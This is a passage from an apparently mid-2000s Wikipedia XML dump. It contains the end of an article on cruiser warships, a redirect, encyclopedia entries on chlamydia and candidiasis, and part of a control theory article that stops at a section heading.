For this reason the terms [[heavy cruiser]] and [[light cruiser]] started to be used. After [[World War I]] these terms were codified during the various naval arms limitation treaties. Light cruisers were defined to be armed with 6.1&amp;nbsp;in (155&amp;nbsp;mm) guns or smaller and heavy cruisers to be armed with larger calibers, 8&amp;nbsp;in (203&amp;nbsp;mm) being particularly common. 8&amp;nbsp;in was the largest gun permitted by the [[Washington Naval Treaty]] on heavy cruisers of the major treaty signatory nations, and became the de facto international standard for heavy cruisers; only five cruisers would be eventually built with larger guns: three German &quot;[[pocket battleship]]s&quot; of the [[German battleship Deutschland|''Deutschland'' class]] and two [[United States Navy]] [[World War II]]-era [[Alaska class cruiser|''Alaska''-class]] &quot;large cruisers&quot;.

From around [[1880]] until [[1910]] smaller ships with considerably less capability were built as [[protected cruiser]]s. Because they carried less armor, it was distributed as a shaped deck inside the vessel rather than covering the sides.

An even more limited type was the [[auxiliary cruiser]], a [[merchant marine|merchant ship]] hastily armed with small guns on the outbreak of war. Auxiliary cruisers were used to fill gaps in their long-range lines or provide escort for other cargo ships, although they generally proved to be useless in this role because of their low speed, feeble firepower and lack of armor. In both world wars the Germans also used small merchant ships armed with cruiser guns to surprise Allied merchant ships who didn't realise what they were. Some large liners were armed in the same way. In British service these were known as Armed Merchant Cruisers (AMC). The Germans and French used them in World War I as raiders because of their high speed (around 30&amp;nbsp;knots or 56&amp;nbsp;km/h), and they were used again as raiders in World War II by the Germans and Japanese. In both the First World War and in the early part of the Second, they were used as convoy escorts by the British.

==Battlecruisers==
''Main article: [[Battlecruiser]]''

One [[rule of thumb]] for warship design was that they should be armored against their own armament: a warship should be able to withstand hits from its own guns. This was considered a &quot;balanced&quot; design. Just prior to [[World War I]], a significant deviation from this rule was tried. The intention was to create a ship which was both much faster than a battleship and with guns that were just as powerful, so that it could hunt down and destroy enemy cruisers.

This [[battlecruiser]] role was achieved by building a vessel which had the size and firepower of a battleship but only the armor protection of a cruiser; the weight saving used to provide it with more powerful propulsion. The result was a ship with superior tactical initiative: it could engage and outgun any surface ship up to cruiser size, yet outrun anything that potentially outgunned it.

The concept was successful where battlecruisers were employed in their designed role, as at the [[Battle of the Falkland Islands]] in [[1914]]. However the ships proved disastrously vulnerable when they engaged enemy battlecruisers or battleships in a fleet action, as at [[Battle of Jutland|Jutland]] in [[1916]] where three British battlecruisers exploded as a result of German heavy gunfire. The [[Royal Navy]] quickly scrapped most of theirs after the war, and upgraded the armor on the rest to the limited extent that was possible.

The weakness of the battle cruiser against a battleship was further demonstrated in the Second World War, during the hunt for the German battleship [[German battleship Bismarck|''Bismarck'']] by the British fleet in [[1940]]. The battlecruiser [[HMS Hood (1918)|HMS ''Hood'']], known as &quot;The Mighty Hood&quot;, was the pride of the British fleet. Armed with eight 15-inch guns, she presented equal firepower to that of ''Bismarck''. However, her weak deck armour left her vulnerable and during the [[battle of the Denmark Strait]] she did not strike the ''Bismarck'' before plunging fire penetrated ''Hood''s armour and she exploded. The ''Hood'' was split in two and sank rapidly after the spectacular explosion, and only 3 men of the crew of 1,419 survived.

==Later 20th century==
[[Image:USSCapeStGeorgeCG-71.jpg|thumb|220px|right|The [[Ticonderoga class cruiser|''Ticonderoga''-class]] cruiser [[USS Cape St. George (CG-71)|USS ''Cape St. George'']] (CG-71), firing a Tomahawk missile.]]

The rise of air power during [[World War II]] dramatically changed the nature of naval combat. Even the fastest cruisers could not outrun an airplane, which were increasingly able to attack at longer distances over the ocean. This change led to the end of independent operations by single ships or very small task groups, and for the second half of the 20th century naval operations were based around very large fleets able to fend off all but the largest air attacks. This has led most navies to change to fleets designed around ships dedicated to a single role, [[anti-submarine]] or [[anti-aircraft]] typically, and the large &quot;generalist&quot; ship has disappeared from most forces. The [[United States Navy]], the [[Russian Navy]], and the [[Peruvian Navy]] (with a relic kept for historical purposes, the [[BAP_Almirante_Grau_%28CLM-81%29 | Almirante Grau ]]) are the only remaining navies which operate cruisers.

In the [[Soviet Navy]], cruisers formed the basis of their combat groups. In the immediate post-war era they built a fleet of large-gun ships, but replaced these fairly quickly with very large ships carrying huge numbers of [[guided missile]]s and anti aircraft missiles. The most recent ships of this type, the four [[Kirov class battlecruiser|''Kirovs'']], were built in the [[1970s]] and [[1980s]], and are in very poor repair today. The last operational ''Kirov''-class cruiser, [[Soviet battlecruiser Kirov|''Petr Velikiy'']], was recalled to port in March [[2004]] with severe [[nuclear reactor|reactor]] problems.

The United States Navy has centered on the [[aircraft carrier]] since WWII. The [[Ticonderoga class cruiser|''Ticonderoga''-class]] cruisers, built in the [[1980s]], were originally designed and designated as a class of [[destroyer]], intended to provide a very powerful air-defense in these [[aircraft carrier|carrier]]-centered fleets. The ships were later &quot;mis-named&quot; largely as a [[public relations]] move, in order to highlight the capability of the [[Aegis combat system]] the ships were designed around. In the years since the launch of [[USS Ticonderoga (CG-47)|USS ''Ticonderoga'']] in [[1981]] the class has received a number of upgrades that have dramatically improved their capabilities for [[anti-submarine]] and land attack (using the [[BGM-109 Tomahawk|Tomahawk missile]]), and today the name is not mis-applied at all. Like their Soviet counterparts, the modern ''Ticonderogas'' can also be used as the basis for an entire battle group.

==The US Navy's &quot;cruiser gap&quot;==

''Main article: [[United States Navy 1975 ship reclassification]]''

Prior to the introduction of the ''Ticonderogas'', the US Navy used odd naming conventions that left its fleet seemingly without many cruisers, although a number of their ships were cruisers in all but name.  From the 1950s to the 1970s, US Navy &quot;cruisers&quot; were large vessels equipped with heavy offensive missiles (including the [[Regulus missile|Regulus]] [[nuclear weapon|nuclear]] [[cruise missile]]) for wide-ranging combat against land-based and sea-based targets.  All save one &amp;mdash; [[USS Long Beach (CGN-9)|USS ''Long Beach'']] &amp;mdash; were converted from World War II [[Baltimore class cruiser|''Baltimore'']] and [[Cleveland class cruiser|''Cleveland'']] class cruisers.  &quot;[[Frigate]]s&quot; under this scheme were heavy destroyers almost as large as the cruisers and optimized for [[anti-aircraft]] warfare, although they were capable anti-surface warfare combatants as well.  In the late [[1960s]], the US government perceived a &quot;cruiser gap&quot; &amp;mdash; at the time, the US Navy possessed six ships designated as &quot;cruisers,&quot; compared to 19 for the Soviet Union, even though the USN possessed at the time 21 &quot;frigates&quot; with equal or superior capabilities to the Soviet cruisers &amp;mdash; because of this, in 1975 the Navy performed a massive redesignation of its forces:

* CVA/CVAN were redesignated CV/CVN (although [[USS Midway (CV-41)|USS ''Midway'' (CV-41)]] and [[USS Coral Sea (CV-43)|USS ''Coral Sea'' (CV-43)]] never embarked anti-submarine squadrons).
* DLG/DLGN (Frigate/Nuclear-powered Frigate) were redesignated CG/CGN (Guided Missile Cruiser/Nuclear-powered Guided Missile Cruiser).
* [[Farragut class destroyer (1958)|''Farragut''-class]] guided missile frigates (DLG), being smaller and less capable than the others, were redesignated to DDGs ([[USS Coontz (DDG-40)|USS ''Coontz'']] was the first ship of this class to be re-numbered; because of this the class is sometimes called the ''Coontz'' class);
* DE/DEG (Ocean Escort/Guided Missile Ocean Escort) were redesignated to FF/FFG (Guided Missile Frigates), bringing the US &quot;Frigate&quot; designation into line with the rest of the world.

Also, a series of Patrol Frigates of the [[Oliver Hazard Perry class frigate|''Oliver Hazard Perry'' class]], originally designated PFG, were redesignated into the FFG line. The cruiser-destroyer-frigate realignment and the deletion of the Ocean Escort type brought the US Navy's ship designations into line with the rest of the world's, eliminating confusion with foreign navies.

==See also==
* [[Protected cruiser]]
* [[Armored cruiser]]
* [[Light cruiser]]
* [[Heavy cruiser]]
* [[Battlecruiser]]
* [[List of cruisers]]
* [[United States Navy 1975 ship reclassification]]

[[Category:Cruisers| ]]
[[Category:Cruiser classes|*]]
[[Category:Ship types]]

[[cs:Křižník]]
[[da:Krydser]]
[[de:Kreuzer (Schiff)]]
[[et:Ristleja]]
[[es:Crucero]]
[[fr:Croiseur]]
[[ko:순양함]]
[[it:Incrociatore]]
[[he:סיירת (ספינה)]]
[[nl:Kruiser]]
[[ja:巡洋艦]]
[[pl:Krążownik]]
[[pt:Cruzador]]
[[ru:Крейсер]]
[[sl:Križarka]]
[[sr:Крстарица]]
[[fi:Risteilijä]]
[[sv:Kryssare]]
[[zh:巡洋舰]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese zodiac</title>
    <id>7036</id>
    <revision>
      <id>15905136</id>
      <timestamp>2002-12-20T07:37:33Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <comment>changed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese astrology]]</text>
    </revision>
  </page>
  <page>
    <title>Chlamydia</title>
    <id>7037</id>
    <revision>
      <id>41473836</id>
      <timestamp>2006-02-27T16:19:39Z</timestamp>
      <contributor>
        <username>NickelShoe</username>
        <id>418205</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">'''Chlamydia''' is one of the most common sexually transmitted diseases worldwide - &amp;mdash;  about 4 million cases of chlamydia occur in the [[United States|USA]] each year. Not all people exhibit symptoms of chlamydia. About half of all men and three-quarters of all women who have chlamydia have no symptoms and do not know that they are carriers of the disease. The disease is transmitted by the ''[[Chlamydia trachomatis]]'' [[bacterium]]. It can be serious but it is easily cured if detected in time. It is also, and possibly more importantly, the biggest ''preventable'' cause of [[blindness]] in the world. Blindness occurs as a complication of '''[[trachoma]]''' (chlamydia conjunctivitis).

==Features==
Almost half of all women who get chlamydia and aren't treated by a [[physician|doctor]] will get [[pelvic inflammatory disease]] (PID), a generic term for infection of the [[uterus]], [[fallopian tubes]], and/or [[ovaries]]. PID can cause scarring inside the [[reproductive organ]]s, which can later cause serious complications, including chronic [[pelvis|pelvic]] pain, difficulty becoming [[pregnancy|pregnant]], [[ectopic pregnancy|ectopic (tubal) pregnancy]], and other dangerous complications of pregnancy. Chlamydia causes 250,000 to 500,000 cases of PID every year in the U.S. [http://www.plannedparenthood.org/STI-SAFESEX/chlamydia.htm]

In women, chlamydia may not cause any [[symptom]]s, but symptoms that may occur include: unusual [[vagina]]l bleeding or discharge, pain in the abdomen, painful [[sexual intercourse]], [[fever]], painful [[urination]] or the urge to urinate more frequently than usual. 

In men, chlamydia may not cause any symptoms, but symptoms that may occur include: a painful or burning sensation when urinating, an unusual discharge from the [[penis]], swollen or tender [[testicle]]s, or fever. 

Chlamydia in men can spread to the testicles, causing [[epididymitis]], which can cause [[sterility]]. Chlamydia causes more than 250,000 cases of epididymitis in the USA each year.

Chlamydia may also cause [[Reiter's Syndrome]], especially in young men.  About 15,000 men get Reiter's Syndrome from chlamydia each year in the USA, and about 5,000 are permanently affected by it.

As many as half of all [[infant]]s born to mothers with chlamydia will be born with the disease. Chlamydia can affect infants by causing spontaneous abortion ([[miscarriage]]), [[premature birth]], [[blindness]], and [[pneumonia]].

==Treatment==
Fortunately, chlamydia can be effectively cured with [[antibiotic]]s once it is detected. Current [[Centers for Disease Control]] guidelines provide for the following treatments:

* [[Azithromycin]] 1 gram by mouth once, or
* [[Doxycycline]] 100 milligrams twice daily for seven days.

==Prevention==
Because chlamydia is so common and because it often doesn't produce symptoms, it is especially important to take precautions against sexually transmitted disease by practicing [[safer sex]].

==Pathophysiology==
Chlamydiae replicate intracellularly, within a membrane-bound structure termed an inclusion.  It is inside this inclusion, which somehow avoids lysosomal fusion and subsequent degradation, that the metabolically inactive &quot;elementary body&quot; (EB) form of Chlamydia becomes the replicative &quot;reticulate body&quot; (RB).  The multiplying RBs then become EBs again and burst out of the host cell to continue the infection cycle.  Since Chlamydiae are obligate intracellular parasites, they cannot be cultured outside of host cells, leading to many difficulties in research.

==Diseases caused by chlamydia==
''[[Chlamydia trachomatis]]'' can cause [[genital infection]]s, [[conjunctivitis]], [[pelvic inflammatory disease]], [[pneumonia]], [[urethritis]], [[Fitz-Hugh-Curtis syndrome]], [[Reiter's syndrome]] and [[lymphogranuloma venereum]]

==Chlamydia in nonhumans==
An outbreak of the human-borne sexually-transmitted disease was discovered in penguins at the San Francisco Zoo in May, 2005.  Officials said that the disease was probably first contracted in February of that year, and was not sexually-transmitted.  One theory links the outbreak to seagull droppings, but the actual cause remains unknown.  Twelve penguins died from the disease, while fifty-five survived.  See [http://www.theadvertiser.news.com.au/common/story_page/0,5936,15207143%255E1702,00.html Chlamydia strikes penguin colony] for more information.

Chlamydia has also become a problem in [[Koala]] populations.


==Sources==
*[http://www.arhp.org/healthcareproviders/resources/stdis/index.cfm Sexually Transmitted Diseases/Infections Resource Center from the Association of Reproductive Health Professionals]
* [http://www.plannedparenthood.org/pp2/portal/files/portal/medicalinfo/sti/pub-sti-chlamydia.xml &quot;Chlamydia: Questions and Answers&quot; from Planned Parenthood&quot;] 
* [http://www.cdc.gov/std/Chlamydia/STDFact-Chlamydia.htm Chlamydia fact sheet from the Center for Disease Control]
* [http://www.emedicinehealth.com/articles/17179-1.asp eMedicine Health Chlamydia]
* [http://www.netdoctor.co.uk/diseases/facts/chlamydia.htm NetDoctor Chlamydia fact sheet]
* [http://www.lib.uiowa.edu/hardin/md/chlamydiapictures.html Links to chlamydia pictures (Hardin MD/Univ of Iowa)]

[[Category:Sexually-transmitted diseases]] [[Category: Infectious diseases]]

[[da:Klamydia]]
[[de:Chlamydien]]
[[fr:Chlamydiose]]
[[he:כלמידיה]]
[[nl:Chlamydia]]
[[ja:クラミジア]]
[[nb:Klamydia-infeksjon]]
[[fi:Klamydia]]
[[sv:Klamydia]]
[[zh:衣原體屬]]</text>
    </revision>
  </page>
  <page>
    <title>Candidiasis</title>
    <id>7038</id>
    <revision>
      <id>41749412</id>
      <timestamp>2006-03-01T13:45:35Z</timestamp>
      <contributor>
        <username>Hyperman 42</username>
        <id>999717</id>
      </contributor>
      <comment>cross reference to leaky gut syndrome and diet/probiotics notes added</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Candidiasis |
  ICD10       = {{ICD10|B|37||b|35}} |
  ICD9        = {{ICD9|112}} |
}}
'''Candidiasis''', commonly called '''yeast infection''' or '''thrush''', is a [[fungal infection]] of any of the ''[[Candida (genus)|Candida]]'' species, of which ''[[Candida albicans]]'' is probably the most common.  

==Locations==
In [[immunocompetent]] people, candidiasis can usually only be found in exposed and moist parts of the body, such as:
* the [[oral cavity]] ([[oral thrush]])
* the [[vagina]] ([[vaginal candidiasis]] or thrush)
* folds of skin in the [[diaper]] area ([[diaper rash]])
* the most common cause of [[vagina]]l irritation or [[vaginitis]] 
* can also occur on the [[male genitals]], particularly in uncircumcised men.

In [[immunocompromised]] patients, the ''Candida'' infection can become systemic, causing a much more serious condition, [[fungemia]].

==Causes==
Yeast organisms are always present in all people, but are usually prevented from &quot;overgrowth&quot; (uncontrolled multiplication resulting in symptoms) by naturally occurring [[microorganism]]s. 

At least three quarters of all women will experience candidiasis at some point in their lives. The ''Candida albicans'' organism is found in the vaginas of almost all women and normally causes no problems.  However, when it gets out of balance with the other &quot;normal flora,&quot; such as [[lactobacilli]] (which can also be harmed by using [[douche]]s), an overgrowth and symptoms can result. Pregnancy, the use of oral contraceptives and some [[antibiotics]], and [[diabetes mellitus]] increase the risk of infection.

==Symptoms==
The most common symptoms are itching and irritation of the [[vagina]] and/or [[vulva]]. A whitish or whitish-gray discharge may be present, sometimes resembling [[cottage cheese]], and may have a &quot;yeasty&quot; smell like [[beer]] or baking bread. 

==Diagnosis==
[[Potassium hydroxide|KOH]] (potassium hydroxide) preparation can be diagnostic. A scraping or swab of the affected area is placed on a microscope slide. A single drop of 10% solution of KOH is then placed on the slide. The KOH dissolves the skin cells but leaves the ''Candida''
untouched. When viewed under a microscope the hyphae and pseudo spores of ''Candida'' are visible. Their presence in large numbers strongly suggest a yeast infection.

Swab and culture is performed by rubbing a sterile swab on the infected skin surface. The swab is then rubbed across a culture medium.
The medium is incubated for several days, during which time colonies of yeast and or bacteria develop. The characteristics of the colonies provide a presumptive diagnosis of the organism.

==Treatment==
Candidiasis is alleged to be successfully treated either with [[home remedy|home remedies]] or, in the case of a more severe infection, with either [[over the counter]] or [[prescription]] [[antifungal medication]]s. Home remedies for candidiasis include the consumption or direct application of [[yogurt]], which contains [[lactobacillus]] ([[probiotics]], &quot;friendly&quot; bacteria that kill yeast), [[acidophilus]] tablets or salves, and even lightly crushed cloves of [[garlic]], which yield [[allicin]], an antifungal. [[Boric acid]] has also been used to treat yeast infections when gelcaps are filled with boric acid powder and two are inserted at bedtime for three to four nights. 

While home remedies can offer relief in minor cases of infection, seeking medical attention can be necessary because the extent of the infection sometimes cannot be judged well by the sufferer.  [[Prescription medication]] is often the only solution to an infection; the [[antifungal drug]]s commonly used to treat candidiasis are topical [[clotrimazole]], topical [[nystatin]], [[fluconazole]], topical [[ketoconazole]].  In severe infections (generally in hospitalized patients), [[amphotericin B]], [[caspofungin]], or [[voriconazole]] may be used.  

If indicated, an underlying reason should be looked for. As an example, oral candidiasis is often linked to the use of inhaled [[steroid]]s in [[asthma medication]].  Patients on long term inhaled steroids should rinse their mouth after each dose of steroids.  It can also be the first sign of a more serious condition, such as [[HIV]].  Babies with diaper rash should have their diaper areas kept clean, dry, and exposed to air as much as possible. [[Sugar]] assists the overgrowth of yeast; thus, the increased prevalence of yeast infections in patients with [[diabetes mellitus]], as noted above. In the case of frequent yeast infections, sugar can be looked to as a culprit and should be avoided.  [[Nutritionist|Nutritionists]] often recommend avoidance diets, eliminating sugar and often many other foods for a period.  Extensive [[antibiotic]] treatment is sometimes implicated, and [[probiotics]] are then recommended.

Following the health tips at [[vulvovaginal health]] can help prevent vaginal candidiasis. Local treatment may include vaginal [[suppository|suppositories]] or medicated [[douche]]s.

==History and taxonomic classification==
B. Lagenbeck in 1839 in Germany was the first to demonstrate a yeastlike fungus in thrush. He also found that a fungus was able to cause thrush, a human oral infection.
The genera ''Candida'', species ''albicans'' was described by Christine Marie Berkhout. She described the fungus in her doctoral thesis, at the University of Utrecht in 1923. Over the years the classification of the genera and species has evolved. Obsolete names for this genus include ''Mycotorula'' and ''Torulopsis''. The species has also been known in the past as ''Monial albicans'' and Oidium albicans. The current classification is nomen conservandum, which means the name is authorized for use by the [http://www.bgbm.org/iapt/nomenclature/code/SaintLouis/0000St.Luistitle.htm  International Botanical Congress (IBC)]. 

The full current classification is available at ''[[Candida albicans]]''.

The genius ''Candida'' includes about 150 different species. However only about, six are considered as causing human infections. ''Candida albicans'' is the most significant species. Other species responsable for human disease include ''Candida tropicalis'', ''Candida glabrata'', ''Candida krusei'', ''Candida parapsilosis'', and ''Candida lusitaniae''.

==Pseudoscience==

Alternative medicine proponents also frequently diagnose people with &quot;systemic candidiasis&quot; using methods not deemed valid by [[medicine]]. This belief originated from a book published by Dr. William Crook which hypothesized that a variety of common symptoms such as fatigue, [[PMS]], [[sexual dysfunction]], [[asthma]], [[psoriasis]], digestive and urinary problems, [[multiple sclerosis]], and [[Myalgia|muscle pain]], were caused by subclinical infections by ''Candida albicans''; see [http://www.candida-yeast.com/information.asp]. This is then treated with a variety of remedies ranging from dietary modification to colonic irrigation. These are felt by the medical estabishment to be pseudoscience, as they have not met the rigors of scientific analysis; see also  [http://www.drweil.com/u/QA/QA125503/], [http://www.quackwatch.org/01QuackeryRelatedTopics/candida.html].  However, [[nutritionist|nutritionists]] have also proposed that these symptoms may be due to intestinal wall damage, known as [[leaky gut syndrome]], due to candida overgrowth or other effects.

== External links ==
* [http://safe-baby.net/articles/oral_thrush.php Article on Oral Thrush in Newborns]
* [http://www.intelihealth.com/IH/ihtIH/WSIHW000/9339/31092.html#treat InteliHealth page on candidiasis] Presented by InteliHealth reviewed by [[Harvard Medical School]]
* [http://www.niaid.nih.gov/factsheets/stdvag.htm National Institute of Allergies and Infections fact sheet on vaginitis/vaginal infections]
* [http://www.msu.edu/user/eisthen/yeast/ The yeast infection homepage]
* [http://www.nutritionhelp.com/ Nutritionhelp]
* [http://www.TheVzone.net/ The Vzone, an informational site on female intimate health-written by women, for women.]
* [http://www.lib.uiowa.edu/hardin/md/yeastinfection.html Links to pictures of Yeast Infection (Hardin MD/Univ of Iowa)]

[[Category:Parasitic diseases]]
[[Category:Infectious diseases]]
[[Category:Dermatology]]

[[bg:Кандидоза]]
[[de:Kandidose]]
[[es:Candidiasis]]
[[fr:Candidose]]
[[nl:Candidose]]
[[pl:Drożdżyca]]
[[pt:Candidíase]]</text>
    </revision>
  </page>
  <page>
    <title>Control theory</title>
    <id>7039</id>
    <revision>
      <id>41713909</id>
      <timestamp>2006-03-01T06:12:29Z</timestamp>
      <contributor>
        <ip>24.74.65.170</ip>
      </contributor>
      <comment>/* Controllability and observability */</comment>
      <text xml:space="preserve">{{dablink|For the sociological theory of deviant behavior, see [[control theory (sociology)]].}}
{{dablink|For the application to living systems, see [[perceptual control theory]].}}

In [[engineering]] and [[mathematics]], '''control theory''' deals with the behavior of [[dynamical system]]s over time.  The desired output of a system is called the ''reference variable''.  When one or more output variables of a system need to show a certain behaviour over time, a [[Controller (control theory)|controller]] manipulates the inputs to a system to obtain the desired effect on the output of the system.

== An example ==

As an example, consider [[cruise control]].  In this case, the system is a car.  The goal of cruise control is to keep the car at a constant speed.  Here, the output variable of the system is the speed of the car.  The primary means to control the speed of the car is the air-fuel mixture being fed into the engine.

A simple way to implement cruise control is to lock the position of the throttle the moment the driver engages cruise control.  There is an add-on device available for [[motorcycle]]s that uses a thumb switch to lock the twist-grip throttle in place.  This is fine if the vehicle is driving on perfectly flat terrain.  On hilly terrain, the vehicle will slow down when going uphill and accelerate when going downhill; something its driver may find highly undesirable.

This type of controller is called an [[open-loop controller]] because there is no direct connection between the output of the system and its input.  One of the main disadvantages of this type of controller is the lack of sensitivity to the dynamics of the system under control.

The actual way that cruise control is implemented involves [[Feedback controller|feedback control]], whereby the speed is monitored and the amount of throttle is increased if the car is driving slower than the intended speed and decreased if the car is driving faster.  This feedback makes the car less sensitive to disturbances to the system, such as changes in slope of the ground or wind speed.  This type of controller is called a [[closed-loop]] controller.

== History ==
Although control systems of various types date back to antiquity, a more formal analysis of the field began with a dynamics analysis of the [[centrifugal governor]], conducted by the famous physicist [[James_Clerk_Maxwell|J.C. Maxwell]] in [[1868]] entitled &quot;On Governors.&quot;  This described and analyzed the phenomenon of &quot;hunting&quot; in which lags in the system can lead to overcompensation and unstable behavior.  This caused a flurry of interest in the topic, which was followed up by Maxwell's classmate, [[Edward_John_Routh|E.J. Routh]], who generalized the results of Maxwell for the general class of linear systems.  This result is called the [[Routh-Hurwitz_theorem|Routh-Hurwitz Criterion]].  

A notable application of dynamic control was in the area of manned flight.  The [[Wright Brothers]] made their first successful test flights in [[December 17]], [[1903]] and by [[1904]] [[Wright Flyer III|Flyer III]] and were distinguished by their ability to control their flights for substantial periods (more so than the ability to produce lift from an airfoil, which was known). Control of the airplane was necessary for its safe, economical, and economically successful use.

By [[World War II]], control theory was an important part of [[fire-control system|fire control]], [[guidance]], and [[cybernetics]]. The [[Space Race]] to the [[Moon]] depended on accurate control of the spacecraft. But [[control theory]] is not only useful in technological applications, and is meeting an increasing use in field such [[economics]] and [[sociology]].

== Classical control theory ==

To avoid the problems of the open-loop controller, control theory introduces [[feedback]].  The output of the system &lt;math&gt;y(t)&lt;/math&gt; is fed back to the reference value &lt;math&gt;r(t)&lt;/math&gt;, through the measurement performed by a sensor.  The controller ''C'' then takes the difference between the reference and the output, the error ''e'', to change the inputs ''u'' to the system under control ''P''.  This is shown in the figure. This kind of controller is a [[closed-loop]] controller or [[feedback controller]].

This is a so-called single-input-single-output (''SISO'') control system: example where one or more variables can contain more than a value (''MIMO'', i.e. Multi-Input-Multi-Output - for example when outputs to be controlled are two or more) are frequent. In such cases variables are represented through [[coordinate vector|vector]]s instead of simple [[scalar]] values. For some [[distributed parameter systems]] the vectors may be [[infinite-dimensional]] (typically functions).

&lt;center&gt;[[Image:simple_feedback_control_loop.png]]&lt;br&gt;
''A simple feedback control loop''&lt;/center&gt;

If we assume the controller ''C'' and the plant ''P'' are [[linear]] and time-invariant (i.e.: elements of their [[Transfer Function|transfer function]] &lt;math&gt;C(s)&lt;/math&gt; and &lt;math&gt;P(s)&lt;/math&gt; do not depend on time), we can analyze the system above by using the [[Laplace transform]] on the variables.  This gives us the following relations:

: &lt;math&gt;Y(s) = P(s) U(s)\,\!&lt;/math&gt;
: &lt;math&gt;U(s) = C(s) E(s)\,\!&lt;/math&gt;
: &lt;math&gt;E(s) = R(s) - Y(s)\,\!&lt;/math&gt;

[[Control theory#Appendix A|Solving for ''Y''(''s'')]] in terms of ''R''(''s''), we obtain:

: &lt;math&gt;Y(s) = \left( \frac{P(s)C(s)}{1 + P(s)C(s)} \right) R(s)&lt;/math&gt;

The term &lt;math&gt;\frac{P(s)C(s)}{1 + P(s)C(s)}&lt;/math&gt; is referred to as the [[transfer function]] of the system. If we can ensure &lt;math&gt;P(s)C(s) &gt;&gt; 1&lt;/math&gt;, i.e. it has very great [[norm]] with each value of &lt;math&gt;s&lt;/math&gt;, then &lt;math&gt;Y(s)&lt;/math&gt; is approximately equal to &lt;math&gt;R(s)&lt;/math&gt;. This means we control the output by simply setting the reference.

== Stability ==

'''Stability''' (in control theory) often means that for any bounded input over any amount of time, the output will also be bounded.
This is known as [[BIBO stability]] (see also [[Lyapunov stability]]).
If a system is BIBO stable then the output cannot &quot;blow up&quot; if the input remains finite.
Mathematically, this means that for a linear continuous-time system to be stable all of the [[Pole (complex analysis)|poles]] of its [[transfer function]] must
* lie in the closed left half of the [[complex plane]] if the [[Laplace transform]] is used (i.e. its real part is less than or equal to zero)
OR
* lie on or inside the [[unit circle]] if the [[Z-transform]] is used (i.e. its module is less than or equal to one)

In the two cases, if respectively the pole has a real part strictly smaller of zero or a module strictly smaller than one, we speak of [[asymptotic stability]]: the variables of an asymptotically stable control system always decrease from their initial value and do not show permanent oscillations, which are instead present if a pole has exactly a real part equal to zero (or a module equal to one). If a simply stable system response neither decays nor grows over time, and has no oscillations, it is referred to as [[marginal stability|marginally stable]]: in this case it has non-repeated poles along the vertical axis (i.e. their real and complex component is zero). Oscillations are present when poles with real part equal to zero have also complex part not equal to zero.

Difference between the two cases are not a contradiction.  The Laplace transform is in [[Cartesian coordinates]] and the Z-transform is in [[circular coordinates]] and it can be shown that
*the negative-real part in the Laplace domain can map onto the interior of the unit circle
*the positive-real part in the Laplace domain can map onto the exterior of the unit circle

If the system in question has an [[impulse response]] of

:&lt;math&gt;x[n] = 0.5^n u[n]&lt;/math&gt;

and considering the [[Z-transform]] (see [[Z-transform#Example 2 (causal ROC)|this example]]), it yields

:&lt;math&gt;X(z) = \frac{1}{1 - 0.5z^{-1}}\ &lt;/math&gt;

which has a pole in &lt;math&gt;z = 0.5&lt;/math&gt; (zero [[imaginary number|imaginary part]]).  This system is BIBO (asymptotically) stable since the pole is ''inside'' the unit circle.

However, if the impulse response was

:&lt;math&gt;x[n] = 1.5^n u[n]&lt;/math&gt;

then the Z-transform is

:&lt;math&gt;X(z) = \frac{1}{1 - 1.5z^{-1}}\ &lt;/math&gt;

which has a pole at &lt;math&gt;z = 1.5&lt;/math&gt; and is not BIBO stable since the pole has a module strictly greater than one.

Numerous tools exist for the analysis of the poles of a system. These include graphical systems like the [[root locus]] or the [[Nyquist plot]]s.

== Controllability and observability ==
[[Controllability]] and [[observability]] are main issues in the analysis of a system before deciding the best control strategy to be applied. Controllability is related to the possibility of forcing the system into a particular state by using an appropriate control signal. If a state is not controllable, then no signal will ever be able to force the system to reach a level of controllability. Observability instead is related to the possibility of &quot;observing&quot;, through output measurements, the state of a system. If a state is not observable, the controller will never be able to correct the closed-loop behaviour if such a state is not desirable.

From a geometrical point of view, if we look at the states of each variable of the system to be controlled, every &quot;bad&quot; state of these variables must be controllable and observable to ensure a good behaviour in the closed-loop system.  That is, if one of the [[eigenvalues]] of the system is not both controllable and observable, this part of the dynamics will remain untouched in the closed-loop system. If such an eigenvalue is not stable, the dynamics of this eigenvalue will be present in the close-loop system which therefore will be unstable. Unobservable poles are not present in the transfer function realization of a state-space representation, which is why sometimes the latter is preferred in dynamical systems analysis.

Solutions to problems of uncontrollable or unobservable system include adding actuators and sensors.

==Control specifications==

Several different control strategies have been devised in the past years. These vary from extremely general ones ([[PID controller]]), to others devoted to very particular classes of systems (es. [[Robotics]] or [[Aircraft]] cruise control).

A control problem can have several specifications. Stability, of course, is always present: the controller must ensure that the closed-loop system is stable: this both if the open-loop is stable or not. An inaccurate choice of the controller, indeed, can even worsen the stability properties of the open-loop system. This must normally be avoided. Sometimes it would be desired to obtain particular dynamics in the closed loop: i.e. that the poles have &lt;math&gt;Re[\lambda] &lt; -\overline{\lambda}&lt;/math&gt;, where &lt;math&gt;\overline{\lambda}&lt;/math&gt; is a fixed value strictly greater than zero, instead of simply ask that &lt;math&gt;Re[\lambda]&lt;0&lt;/math&gt;.

Another typical specification is the rejection of a step disturbance: this can be easily obtained by including an [[integrator]] in the open-loop chain (i.e. directly before the system under control). Other classes of disturbances need different types of sub-systems to be included.

Other &quot;classical&quot; control theory specifications regard the time-response of the closed-loop system: these include the '''rise time''' (the time needed by the control system to reach the desired value after a perturbation), '''peak overshoot''' (the highest value reached by the response before reaching the desired value) and others (settling time, quarter-decay). Frequency domain specifications are usually related to robustness (see after).

Modern performance assessments use some variation of integrated tracking error (IAE,ISA,CQI).

===Model identification and robustness===
{{Main|Model identification}}

A control system must always have some '''robustness''' property. A robust controller is such that his properties do not change much if applied to a system slightly different from the mathematical one used for its synthesis. This specification is important: no real physical system truly behaves like the series of differential equations used to represent it in mathematical way. Sometimes a simpler mathematical model can be chosen in order to simplify calculations. Otherwise the true system dynamics can result so complicated that a complete model is impossible.

====System identification====

